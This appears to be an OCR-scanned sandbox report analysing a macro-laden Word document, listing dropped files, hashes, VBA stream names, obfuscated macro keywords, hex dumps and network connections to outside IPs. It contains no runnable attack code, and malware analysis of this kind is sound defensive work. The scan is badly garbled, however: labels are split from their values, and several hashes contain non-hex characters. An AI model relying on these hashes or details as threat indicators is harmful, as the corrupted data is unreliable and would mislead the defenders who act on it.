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C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

162

2.431160061181642

false

3:vrJlaCkWtVyzALORWObGUXKbylin:vdsCkWtJLObyvb+|
6AF5EAEBE6C935D9A5422D99EEEGBEFO
6FE25A65D5CCOD4F989A1D79DF5CE1D225D790EC
CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FAGCB4719

B2F51A8375748037E709D75C038B48C69EO0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDBIC1E2156A092F315EB9C069B654AF39B7FAACD3EFEFF1F8CAE
0

false

.user...

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ENOZYO9EK35YCP6ZKW8L.temp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

8016

3.5864058605531746

false
96:chQCsMgiqvsqvJCwo3z8hQCsMqigvsEHyqvICworFzkKYfHEf8SR1IUV5Iu:cyvo3z8yTHnorFzkef8REIu
BF224B30BFBF1CBB34F845286E9D9FB8

26B80D50107D8142A737D7ADD6D641D3B67EAEGF
3BFA3DBBDACY94178C3E258B5294CFDA4888BA825286C9D5385921462E765B81B
9ABE47475F2A4B0F10583D08827D8F6EAA016DC50FB23564370990F26C4DDD8CIDBAD5CB0BBC2FA319A466EDB33D11D4980C93871811DE29BA25465981A72E(

false

................................... e B 008D XD XO D K PLOL 4000 /Co WL I PROGRASB.D. L {d L K PLROL
gram.D.ata W.i.n.d.o.w.s....... (¢

.STARTM~1.j <...P.r.o.grams..@.s.he.l
L"LWINDOW~1LR......0,

...W.i.n.d.o.w.s.

C:\Users\user\Desktop\~$4554867134UQ.doc

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWtVyzALORWObGUXKbylin:vdsCkWtJLObyvb+|
6AF5EAEBE6C935D9A5422D99EEEGBEFO
6FE25A65D5CCOD4F989A1D79DF5CE1D225D790EC
CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FAGCB4719

B2F51A8375748037E709D75C038B48C69EO0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDBIC1E2156A092F315EB9C069B654AF39B7FAACD3EFEFF1F8CAE
0

false

LUSBI it Alb.us............. | IO M M P M ciZid A X

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

modified

353309

4.3569750102299905

false
3072:CxPVA1p08RAEQAIVEd2gG/vNIo0JFx/pANyCmMOPQEKR/INXHWP:CxP206XWgGXLXWN40PDKR/InX2P
20234FEAF12CA9B5BA2DEE618B099595

796E975B19B7D131D51654A43D75B162C581F438
56A41D9847D5BA75196A2DBB083FCB451A76A2AF890E02AALIA6DEBBAA45317A4

F811EB2503C6692B2E889ACAF1F2FD5F876EC804259D0B7EFACD31FGEA70ABBD589A31CABE9D26B85C7A616B02AA85F459667CE15A73CEC32BD300B9C3DGE!
a7

true
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Preview:

<IDOCTYPE html>. [if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]>
<html class="no-js ie8 oldie" lang="en-US"> <l[endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <l![endif]-->.<head>.<title>Suspected phishing site | Cloudfl
are</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="I[E=Edge,c
hrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="
cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection” />. [if It IE 9]><link rel="stylesheet" id="cf_styles-ie-css" href="/cdn-cgi/styles/c
f.errors.ie.css" type="text/css" media="screen,projection” /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>...

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "FP4554867134UQ.doc"

Indicators
Has Summary Info:

Application Name:

edeea2aaadbdbdad

OLE

True

Microsoft Office Word

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
Unbranded driver PCI deposit Avon turquoise bluetooth
indexing coherent markets, Author: Ximena Porras, Te
mplate: Normal.dotm, Revision Number: 1, Name of C
reating Application: Microsoft Office Word, Create
Time/Date: Fri Jan 22 21:01:00 2021, Last Saved T
ime/Date: Fri Jan 22 21:01:00 2021, Number of Pages:
1, Number of Words: 3201, Number of Characters:
18248, Security: 8

6.756965098773812

e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

FP4554867134UQ.doc

172032

d63f3d22f23e80f57e5832¢274b03653
3fc9783709279af2306bba8dd5b78dc59024a7a9

91838d966b87d7050c800b95ea4cffdeb6104358403b294
e5dal10f87540f99c4

féch2ae2f9a364c93e77ef080ch2d0b3e48198d11ef22fed
2cc8f2d5e9b3c72de52bcaa0f41fabcd23eca62e8f75801
48e2439chec0f32e8fbd85f2399823508

3072:nwT40XiwZwHQCtwVCgggh402pTdcrrXyQBscOv
WJVidlrwV2YbdYPeFmfG5/+vGe:nwT40XiwZwHQCtw
VCgggh4020PIlyV

Encrypted Document: False
Contains Word Document Stream: True
Contains Workbook/Book Stream: False
Contains PowerPoint Document Stream: False
Contains Visio Document Stream: False
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True
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Summary

Code Page:

Title:

Subject:

Author:

Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:
Create Time:

Last Saved Time:
Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:

Thumbnail Scaling Desired:

Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: Acb5_u508rt31ub, Stream Size: 25203

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
fdghdCAJC(EQDVeFE)
(jYAXA

DdwJKAO

Until

rQzqBD
gKaXcsqgg.Range
TIOyhL

(FXbyfHEJ

JYAXA,

FXbyfHEJ

LSsiGFK

NZnSlc

dwWsSB
BIOBsR.Range
UBound(WJyyAdGu)
(KtUWKrQJY
(PKKLyJ

BIOBsR

Copyright null 2021

1252

Unbranded driver PCI deposit Avon turquoise bluetooth indexing coherent markets

Ximena Porras

Normal.dotm

1

0

2021-01-22 21:01:00
2021-01-22 21:01:00
1

3201

18248

Microsoft Office Word
8

-535
152
42

False

False
False
False

917504

Macros/VBA/Acb5_u508rt31ub
Acb5_u508rt31ub
25203

01 16 01 00 00 fO 00 00 00 6¢ 10 00 00 d4 00 00 00 b8 01 00 00 ff ff ff ff 74 10 00 00 e0 48 00
00 00 00 00 00 01 00 00 00 14 8d 16 f5 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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Keyword
fnWeUG,
1ZwVD,
ZjrJCLoF:
KKKYgCGH()
kwwylAro,
dMSyAeD
plhNxCG
(WPMKc
MheilvB
fdghdCAJC()
ayWxHTa
AnxgXF

fwdBbr
ZfXIGptDT,
SeXKlqt(BIkYSDf)
FirNG

JHOjGBF
NVPLEHE
COkKYLFR
gKaXcsqg
FSHguFI
apDmSVh,
dtUGyDn.Range
1zPEsH.Range
kwwylAro
gitriHNi
MidB$(WJIyyAdGu,
njcnja
MidB$(etKsC,
lvgDCDb,

(vprfl
RrFEF(PKKLyJ)
JYAXA
kKkYgCGH
PhiIrbR

(BoYzJG
UBound(TysmATBB)
UBound(TIOyhL)
GfIRzH
UOENWEIla
EbPhb
dMSyAeD.Range
XFwvitB:
CsupQJn
nFJEyDA.Range
RFWGG
UVIQGE

fhmsp
NLkalAlFs
SeXKlqt
babgJU.Range
cjwixJFC

uQIgA

RrFEF
VtGPNHEJD,
YmDOY()
bCPjGd:
LhIMEK
oQLhb()
wWJINwWUCH
GwTbF
XDuUBJfr:
TOyODVGEi
(PITYJCAB
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Keyword
ZiXIGptDT

FirNG,
TOyODVGEi:
PQVZFyDGI
1ZfoFHJIBC:
WVENJIEz
afAxCEH()
iILNgVQAG
QtzCVHEFA
SRIRDB(sTfMIEbM)
(BIKYSDf
JHOjGBF,
VMJIFAEGJIk
GwThF,
pRvrpGID:
NJIfCPZII
bGbbzkG
BpRqIBIE
(NJfCPZII
UBound(afAxCEH)
SRIRDB()
VatpQjtM
IWHNLEXIE
UBound(wBULW)
wBULW

bCPjGd
BgqyGHJJ
(QpKER
(kwwylAro
UBound(cLDIINUil)
AnxgXF:
MidB$(xJFmMC,
etKsC()
MidB$(kKkYgCGH,
GegrHkle
UZrsdbB:
(ysCCnFBGW
(GPRPEgI

wYrxF

SeXKlqt()

wjnsc

WwxzIlA
MidB$(GUNjHF,
kfJqCCAr

RjpJY
afAxCEH(vprfl)
NPGiFD.Range
BoYzJG

rheAq

nnjasd,

Resume

ktaJQ,

YGgGC
KYCTHN
qYNpEEGmM
gWVoFGHIp.Range
XkJINI
MidB$(fdghdCAJC,
cxWDB

WPMKc
CWHupaAez:
JyGUAHDB
jiZCIJEEUA
CsupQJn:
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Keyword
UBound(SeXKlqt)
qYzXS()
NJfCPZII,
VdsWE
(apDmSVh
(ZfXIGptDT
HeUCJAy
VACVIFH:
KtUWKkrQJy,
IssioJZA:
YGgGC:
EUpUA
WHTYEe
EUpUA,
(wpboF
KYCTHN.Range
(FirNG
(lvgDCDb
JyGUAHDB:
nFJEyDA
MkrMGEADD
dtUGyDn
wdXHG
(NZnSilc
jiIZCIEEUA:
WnZGTG.Range
ZVRTG
YWAGGuURJg
(dkhOF
BIkYSDf
ycFrdJEH
wpboF,
MidB$(WBULW,
XwcVDjWGu
TIOyhL(bKAKEAGB)
WAXHG(JHOjGBF)
bKAKEAGB,
rRvBv

TIOyhL()
kIPQXF
BoYzJG,
mRBaOUP
(EQDVeFE
(ZHeRDEJQV
1YnIOGDMW
EfJWGIA
ULm|DjRFs
MidB$(RrFEF,
(pIhNxCG
STIMIEbM
ZHeRDEJQV
pMVRFC
joObaLS
fYIJmATJIq
MizfXoHfJ
CWHupaAez
UBound(wdXHG)
BbnPo

IUEFIH
RjUBHHJ
ysCCnFBGW,
HvgGl
VB_Name
(JHojGBF
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Keyword
NPGIFD
UBound(NLkalAIFs)
cLDIINUIl
YGrXCGH
zkBnB
PITYJCAB,
MidB$(cLDIINUIl,
NLkalAIFs()
scgNQjF

ovgDA

EKIsF

QpKER,
pQKfBclf

qYzXS
(YtGPnHEJD
qYNpEEGm,
WJIyyAdGu()
iLNgVQAG:
XRAKFDIJw
IXtFZ
(bKAKEAGB
fdghdCAJC
GzIrG

(JelurHAG
cLDIINUIil(fnWeUG)
xQqZohl
GUNjHF(QpKER)
kHsTNBDDC
bGbbzkG.Range
Bddtcl

IUEFIH,

iLwiJlw

vprfl
kfJgCCAr.Range
dMinwr:

1ZwVvD
(STfMIEbM
MidB$(wdXHG,
BIKYSDf,
EQDVeFE,
bbxJpXJ
OEASsBFD
KtUWkKrQJY
(IZwvD
VXdmsIFCG
(pPQKfBclf

vprfl,
MidB$(NLkalAlFs,
"sadsaccc”
"sasdsacc”
PKKLyJ,
MidB$(yYuFAhH,
KLHNCJJI
dMinwr
(fnWeUG
wNqVtC(NZnSlc)
xqPRpL
VACVIFH
UZrsdbB
XkJINI.Range
UBound(oQLhb)
bKAKEAGB
mCLsa

ZjrJCLoF
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Keyword

(scqNQjF

bbxJpXJ,
DKXbIwtUH
qYzXS(WHTYEe)
MgUBIF
gWVoFGHIp

dkhOF,
UBound(fdghdCAJC)
RrFEF()
YmDOy(qYNpEEGmM)
hZyQe
WBULW(VMJIfAEGJk)
UBound(kKkYgCGH)
Word.Paragraph
pRvrpGID
rheAq.Range
yYuFAhH()

lvgDCDb

yYuFAhH

fsDjVIMR
MidB$(WNqVtC,
XDuUBJfr
mRBaOUP.Range
Content

PKKLyJ

WSpOU
TysmATBB()
TysmATBB
CQCEAD

pQKfBclf,

(IUEFIH

JINSJ

GPRPEgI,
ysCCnFBGW
JMInwDLy

WPMKc,
MidB$(afAXCEH,
XFwvtB

HHiEd

oQLhb

PITYJCAB
hGeWkUHDJ
UBound(YmDOy)
IssioJZA

EXbyfHEJ,
NLkalAIFs(scqNQjF)
babqJu

YtGPNHEJD
UBound(wNgVtC)
etksC

(GWTbF
joObaLS.Range
afAXxCEH

GPRPEgI

EQDVeFE
TysmATBB(pQKfBclf)
cLDIINUIl()
LtYZAEHcZ
BOGTHFF

INYpJ

sybabj
MkrMGEADD.Range
wBULW()

tkwcPhuv
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Keyword
WHTYEe,
WnZGTG
IWHNLEXIE:
wNqgVIC()
JelurHAG
GUNjHF()
SXfQCsAM
(ktadQ
MidB$(oQLhb,
oYpHDHGBD
XepxJwnB.Range
phCylA

wpboF

gatiDI
Len(skuwd))
UBound(GUnjHF)
bgsEO,

qwGLlII
MidB$(SeXxKlqt,
UBound(qYzXS)
MidB$(TysmATBB,
xJFmC
kKkYgCGH(dkhOF)
sRIRDB

bgseO

hqggFjB
MidB$(sRIiRDB,
iLwidlw:

UOpVw
ZHeRDEJQV,
BdoMnAP
TKeezZDJH
hgggFjB.Range
EHyeH
UBound(RrFEF)
wNgVtC
WJIyyAdGu
1zPEsH
(WHTYEe
UBound(xJFmMC)
YmDOy
PrmsGIGmB
SQalkBcF
(QYNpEEGmM
NuQThbAA
ZzbgLHIDO
UgkgIBTk
1ZfoFHJBC
rXSQJ
Mid(skuwd,
dkhOF
AKfRItwS
fnWeUG
SCANQJF,
UmTBT
Bddtcl.Range
Error

STfMIEbM,
XnLkHCbCI
yYuFAhH(ktaJQ)
xJFmMC()
UBound(sRiRDB)
Attribute

KFaAA
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Keyword

xCeJnF
0QLhb(IUEFIH)
UBound(yYuFAhH)
plhNXCG,

(bgseO
Mid(Application.Name,
etksC(PITYJCAB)
ktadQ

QPKER

Function
XJIFMC(KtUWKrQJY)
PRGGX
WJIyyAdGu(jYAXA)
couypAmt
JelurHAG,
(EUpPUA
MidB$(TIOyhL,
QNDUAIDEZ
IXtFZ:

wdXHG()
(bbxJpXJ

GUnjHF
VMJIFAEGJK,
nnjasd
HgvOQCGE
XepxJwnB
a0JmncCr
(VMIFAEGJIK
MidB$(qYzXS,
apDmSVh
MidB$(YmDOy,
mxIPBI
UBound(etKsC)
NzZnSlc,

skuwd

LKKYyiHT

VBA Code

VBA File Name: Vo4fs_6thxliapxpj7, Stream Size: 1117

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

Private
VB_Exposed
Attribute
VB_Creatable
VB_Name
Document_open()

VB_Predeclaredld

Copyright null 2021

Macros/VBA/Vo4fs_6thxliapxpj7
Vo4fs_6thxliapxpj7
1117

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff €5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 14 8d fb f6 00 0O ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff f ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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Keyword
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: W0f5q2g2f3r6cvf, Stream Size: 702

General
Stream Path:

Macros/VBA/WO0f5q2g2f3récvf

VBA File Name: WO0f5q2g2f3récvf

Stream Size: 702

Data ASCIl: oo 2
................ X . ME L

Data Raw: 01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff f f ff 23 02 00 00 83 02 00

00 00 00 00 00 01 00 00 00 14 8d 24 e2 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00

VBA Code Keywords

Keyword

Attribute

VB_Name

VBA Code

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 146

General

Stream Path: \x1CompObj

File Type: data

Stream Size: 146

Entropy: 4.00187355764

Base64 Encoded: False

Data ASCIl: Foooooo.. MSWordDoc..... Word.Document
.8..9.9@..... > :.C.<.5.=.B. .M.i.c.r.o.s.o0.f.t. .W.o.r.d. .9.7.
-.2.0.0.3...........

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 00 00 00 00

0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74
2e 3800 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00
37 00 2d 00

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General
Stream Path: \x5DocumentSummarylnformation
File Type: data
Stream Size: 4096
Entropy: 0.280929556603
Base64 Encoded: False
Data ASCIl:
.
Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5

cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f4 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

Stream Path: \x5Summarylnformation, File Type: data, Stream Size: 492
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6873

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

\x5Summaryinformation
data

492

3.86218424079

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f
2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 bc 01 00 00 11 00 00 00 01 00 00 00 90 00
00 00 02 00 00 00 98 00 00 00 03 00 00 00 64 01 00 00 04 00 00 00 4c 01 00 00 05 00 00 00
a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 d0 00 00 00 09 00

00 00 dc 00 00 00

1Table

data

6873
6.02323130552

True

.6...6...>...6...6...6...6...
.6...6...6...6...6...6...6...6...6...6...

6a 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00

00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00

9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06

00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00

76 02 00 00 76 02 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 528

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 155

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 6000

General

Stream Path:

File Type:
Copyright null 2021

Macros/PROJECT

ASCII text, with CRLF line terminators
528

5.50859031662

True

ID="{7B3EFBFB-2626-4A60-9C6E-F35EED29E8D1}"..Docum
ent=Vo4fs_6thxliapxpj7/&H00000000..Module=WO0f5q2g2f3r
6cvf..Module=Acb5_u508rt31lub..ExeName32="Am3n7agw46
my5mxn6b"..Name="DD"..HelpContextID="0"..VersionCompa
tible32="393222000"..CMG="7D7F550555A359A359A359A

49 44 3d 22 7b 37 42 33 45 46 42 46 42 2d 32 36 32 36 2d 34 41 36 30 2d 39 43 36 45 2d 46
33 3545 45 44 32 39 45 38 44 31 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 56 6f 34 66 73 5f 36
7468783169 61 70 78 70 6a 37 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65
3d 57 30 66 35 71 32 67 32 66 33 72 36 63 76 66 0d Oa 4d 6f 64 75 6¢ 65 3d 41 63 62 35 5f
75353038727433

Macros/PROJECTwm
data

155

3.91750688968

True

Vo4fs_6thxliapxpj7.V.o.4.f.s._.6.t.h.x.1.i.a.p.x.p.j.7...WOf
59q29g2f3r6cvf.W.0.f.5.9.2.9.2.f.3.r.6.c.v.f...Acb5_u508rt31u
b.A.c.b.5._.u.5.0.8.r.t.3.1.u.b.....

56 6f 34 66 73 5f 36 74 68 78 31 69 61 70 78 70 6a 37 00 56 00 6f 00 34 00 66 00 73 00 5f 00
36 00 74 00 68 00 78 00 31 00 69 00 61 00 70 00 78 00 70 00 6a 00 37 00 00 00 57 30 66 35
713267 326633723663 76 660057 00 30 00 66 003500 7100320067 00320066 00
3300 72 00 36 00 63 00 76 00 66 00 00 00 41 63 62 35 5f 75 35 30 38 72 74 33 31 75 62 00
4100 63 00 62 00 35

Macros/VBA/_VBA_PROJECT

data
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General

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBAIdir, File Type: data, Stream Size: 684

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: WordDocument, File Type: data, Stream Size: 112766

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: word, File Type: data, Stream Size: 2672

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Network Behavior
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6000
5.68248961899
True

Bl *\.G.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0
#.C...\.P.R.0O.G.R.A.~.2.\.C.0O.M.M.O.
~.1.\.V.B.A.\.V.B.A.7.\.V.B.E.7...D.L
i.c. L F.

cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 31 00 23 00

Macros/VBA/dir
data

684
6.36077703255

True

............ 0*.....p..H.."..d.....D2.2.4.@.....Z=....b.........[..¢
% .J<..... rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°0430-.
L.Cll 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl.b#
OLE Au.tomation.. ....Norma.l.EN.Cr.m..a.F.. ..... X*\C....6.
m....!O0ffic

01 a8 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4
04 04 02 1c 44 32 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
09010212 5b 1b fb 61 06 00 Oc 25 02 4a 3¢ 02 0a 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02
32 7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30
3032 60303433302d

WordDocument
data

112766
7.32235865878

True

ec a5 ¢1 00 5f cO 09 04 00 00 f0 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 c9 5b 00
00 Oe 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19
04 16 00 7e b8 01 00 62 7f 00 00 62 7f 00 00 c9 53 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff Of 00 00 00 00 00 00 00 00 00 ff ff Of
00 00 00 00 00

word
data
2672
7.93512170376

False

m.."..... Y..U

SW...... $.X..d.A

.Bn..b7,."..$.$.D[.Vv.%$.... ..
%.%....>01.Y#. ... N...w:.(9"C.OH.p/..... 2.[..... i.D2@..]..

6d 07 aa 27 a2 d9 ee 92 1e 59 9d 12 55 09 3d 23 89 01 4c 71 97 4a 1b 15 0d ad ab 46 dd 15
5e fe €502 b1 a4 6¢ c8 64 9f 6a 72 c3 ¢3 59 7b 49 aa 04 19 4f 67 f1 e2 1e 22 ec 95 1la f5 2d
a8 b4 09 fa 9f 2d 53 57 99 b7 c1 9c ac 07 24 87 58 bb 91 64 00 41 c4 c5 7 Oc 03 e3 8f b8 d6
ad 6f 71 c2 be ba c8 b9 4e f5 53 6a 62 8d ca 44 db f9 9b 94 d9 89 91 2c 67 fO 44 03 93 29 6f
c7elell32d
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Snort IDS Alerts

Timestamp Protocol SID Message

01/25/21- ICMP 399 ICMP Destination Unreachable Host Unreachable
15:13:32.134107

01/25/21- ICMP 399 ICMP Destination Unreachable Host Unreachable

15:13:35.214182

Network Port Distribution

TCP Packets

Timestamp

Jan 25, 2021 15:12:38.131688118 CET
Jan 25, 2021 15:12:38.177633047 CET
Jan 25, 2021 15:12:38.177733898 CET
Jan 25, 2021 15:12:38.179814100 CET
Jan 25, 2021 15:12:38.225526094 CET
Jan 25, 2021 15:12:38.249883890 CET
Jan 25, 2021 15:12:38.249942064 CET
Jan 25, 2021 15:12:38.249980927 CET
Jan 25, 2021 15:12:38.250013113 CET
Jan 25, 2021 15:12:38.250014067 CET
Jan 25, 2021 15:12:38.250036001 CET
Jan 25, 2021 15:12:38.250094891 CET
Jan 25, 2021 15:12:38.449354887 CET
Jan 25, 2021 15:12:38.460190058 CET
Jan 25, 2021 15:12:38.643574953 CET
Jan 25, 2021 15:12:38.643745899 CET
Jan 25, 2021 15:12:38.643887043 CET
Jan 25, 2021 15:12:38.827102900 CET
Jan 25, 2021 15:12:38.856857061 CET
Jan 25, 2021 15:12:38.858207941 CET
Jan 25, 2021 15:12:39.083106995 CET
Jan 25, 2021 15:12:39.286540985 CET
Jan 25, 2021 15:12:39.494749069 CET
Jan 25, 2021 15:12:40.093455076 CET
Jan 25, 2021 15:12:40.281667948 CET
Jan 25, 2021 15:12:40.281867027 CET
Jan 25, 2021 15:12:40.295402050 CET
Jan 25, 2021 15:12:40.493009090 CET
Jan 25, 2021 15:12:40.493042946 CET
Jan 25, 2021 15:12:40.493067026 CET
Jan 25, 2021 15:12:40.493266106 CET
Jan 25, 2021 15:12:40.502867937 CET
Jan 25, 2021 15:12:40.691828012 CET
Jan 25, 2021 15:12:40.898708105 CET

Copyright null 2021

Total Packets: 38

® 53 (DNS)

© 443 (HTTPS)

® 80 (HTTP)
Source Port Dest Port
49167 80
80 49167
49167 80
49167 80
80 49167
80 49167
80 49167
80 49167
49167 80
80 49167
80 49167
49167 80
49167 80
49168 80
80 49168
49168 80
49168 80
80 49168
80 49168
49168 80
80 49168
80 49168
49168 80
49169 443
443 49169
49169 443
49169 443
443 49169
443 49169
443 49169
49169 443
49169 443
443 49169
49169 443

Source IP
192.168.2.22
172.67.215.216
192.168.2.22
192.168.2.22
172.67.215.216
172.67.215.216
172.67.215.216
172.67.215.216
192.168.2.22
172.67.215.216
172.67.215.216
192.168.2.22
192.168.2.22
192.168.2.22
192.232.250.227
192.168.2.22
192.168.2.22
192.232.250.227
192.232.250.227
192.168.2.22
192.232.250.227
192.232.250.227
192.168.2.22
192.168.2.22
103.133.214.149
192.168.2.22
192.168.2.22
103.133.214.149
103.133.214.149
103.133.214.149
192.168.2.22
192.168.2.22
103.133.214.149
192.168.2.22

Source Dest

Port

Port Source IP

Dest IP

69.38.130.14 192.168.2.22

69.38.130.14 192.168.2.22

Dest IP
172.67.215.216
192.168.2.22
172.67.215.216
172.67.215.216
192.168.2.22
